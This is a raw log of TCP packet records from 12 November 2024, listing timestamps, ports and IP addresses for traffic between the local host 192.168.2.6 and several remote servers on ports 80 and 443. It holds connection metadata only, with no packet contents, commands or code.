Nov 12, 2024 13:35:37.707329035 CET	62196	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.707338095 CET	443	62196	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.717164993 CET	443	62190	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.717284918 CET	443	62190	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.717677116 CET	62190	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.721651077 CET	62190	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.721663952 CET	443	62190	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.725609064 CET	62197	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.725631952 CET	443	62197	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.725691080 CET	62197	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.726111889 CET	62197	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.726120949 CET	443	62197	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.731420994 CET	443	62189	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.731450081 CET	443	62189	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.731492996 CET	443	62189	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.731512070 CET	62189	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.731559038 CET	62189	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.731750011 CET	62189	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.731766939 CET	443	62189	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.731780052 CET	62189	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.731785059 CET	443	62189	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.734088898 CET	62198	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.734117985 CET	443	62198	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.734242916 CET	62198	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.734462023 CET	62198	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.734471083 CET	443	62198	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.752013922 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:37.772840023 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.772852898 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.772891998 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.772903919 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.772907019 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:37.772933960 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.772948980 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:37.772955894 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:37.772983074 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:37.775757074 CET	443	62193	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.775871992 CET	443	62193	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.775962114 CET	62193	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.777559996 CET	62193	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.777580976 CET	443	62193	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.785167933 CET	443	62192	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.785221100 CET	443	62192	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.785429001 CET	62192	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.785456896 CET	62192	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.785473108 CET	443	62192	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.785505056 CET	62192	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.785510063 CET	443	62192	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.788194895 CET	62199	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.788208008 CET	443	62199	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.788275003 CET	62199	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.788451910 CET	62199	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.788461924 CET	443	62199	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.819211006 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.819283962 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:37.819292068 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.856353998 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.856394053 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.856412888 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.856426001 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.856436968 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.856447935 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.856460094 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.856471062 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.856471062 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.856509924 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.856741905 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.856791019 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.856797934 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.856925964 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.856941938 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.856951952 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.856971025 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.857012033 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.857012033 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.857208967 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.857274055 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.857301950 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.857331038 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.857341051 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.857353926 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.857358932 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.857378960 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.857423067 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.857589960 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.857642889 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.857659101 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.857690096 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.857773066 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.857784033 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.857795000 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.857822895 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.857851982 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.857999086 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.858079910 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.858083010 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.858094931 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.858104944 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.858115911 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.858146906 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.858174086 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.858174086 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.858442068 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.858453035 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.858540058 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.870944977 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:37.891844988 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.891855955 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.891901970 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.891911030 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.891951084 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:37.891971111 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.891989946 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:37.892014980 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:37.892045975 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.892097950 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:37.964356899 CET	443	62194	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.964656115 CET	62194	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.964673996 CET	443	62194	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.965003967 CET	443	62194	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.966319084 CET	62194	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.966378927 CET	443	62194	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.966758013 CET	62194	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.973995924 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.974014044 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.974025011 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.974098921 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.974098921 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.974179029 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.974190950 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.974196911 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.974209070 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.974246979 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.974276066 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.974486113 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.974592924 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.974605083 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.974647999 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.974659920 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.974692106 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.974704027 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.974714041 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.974734068 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.974764109 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.974919081 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.974929094 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.974939108 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.974948883 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.974963903 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.975002050 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.975028992 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.975276947 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.975287914 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.975296974 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.975310087 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.975327969 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.975346088 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.975346088 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.975373030 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.975733042 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.975744963 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.975761890 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.975764036 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.975801945 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.975893974 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.975910902 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.975922108 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.975934029 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.975974083 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.975974083 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.976140022 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.976218939 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.976243019 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.976254940 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.976265907 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.976277113 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.976288080 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.976306915 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.976309061 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.976309061 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.976309061 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.976345062 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.976372957 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.976676941 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.976758003 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.976768017 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.976825953 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.007329941 CET	443	62194	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:38.009094954 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.009130001 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.009140968 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.009255886 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.009259939 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.009332895 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.010938883 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.010962963 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.011017084 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.011034012 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.011254072 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.091481924 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.091535091 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.091546059 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.091559887 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.091598988 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.091758966 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.091774940 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.091784954 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.091798067 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.091828108 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.091859102 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.092142105 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.092153072 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.092164993 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.092199087 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.092216015 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.092385054 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.092396975 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.092406034 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.092417002 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.092430115 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.092447996 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.092447996 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.092504025 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.092917919 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.092936039 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.092947006 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.092957973 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.092968941 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.092981100 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.092991114 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.093002081 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.093013048 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.093024969 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.093069077 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.093069077 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.093069077 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.093069077 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.093713045 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.093724966 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.093735933 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.093776941 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.093806028 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.093982935 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.093998909 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.094010115 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.094016075 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.094017982 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.094022036 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.094027996 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.094038963 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.094049931 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.094058037 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.094060898 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.094073057 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.094109058 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.094109058 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.094109058 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.095077991 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.095091105 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.095101118 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.095113039 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.095124006 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.095134974 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.095146894 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.095159054 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.095165968 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.095165968 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.095170021 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.095181942 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.095216990 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.095216990 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.095246077 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.095820904 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.095832109 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.095875978 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.097951889 CET	443	62194	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:38.097970009 CET	443	62194	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:38.098026037 CET	62194	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:38.098027945 CET	443	62194	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:38.098867893 CET	62194	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:38.100929976 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.100953102 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.101006031 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.101037979 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.101053953 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.101073027 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.108861923 CET	62194	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:38.108877897 CET	443	62194	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:38.149601936 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.149657011 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.149669886 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.149682045 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.149730921 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.149808884 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.150142908 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.150892019 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.150928020 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.150969982 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.150996923 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:38.151015043 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.151168108 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:38.175920010 CET	443	62195	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.176614046 CET	62195	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.176645994 CET	443	62195	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.177213907 CET	62195	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:38.177222013 CET	443	62195	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:38.209142923 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.209160089 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.209172010 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.209254026 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.209290028 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.209301949 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.209307909 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.209314108 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.209326982 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.209383011 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.209383011 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.209712029 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.209727049 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.209733963 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.209800959 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.209991932 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.210002899 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.210025072 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.210037947 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.210048914 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.210057020 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.210061073 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.210073948 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.210083961 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.210115910 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.210650921 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.210664034 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.210674047 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.210690975 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.210702896 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.210711956 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.210724115 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:38.210728884 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:38.210735083 CET	80	51556	185.215.113.206	192.168.2.6
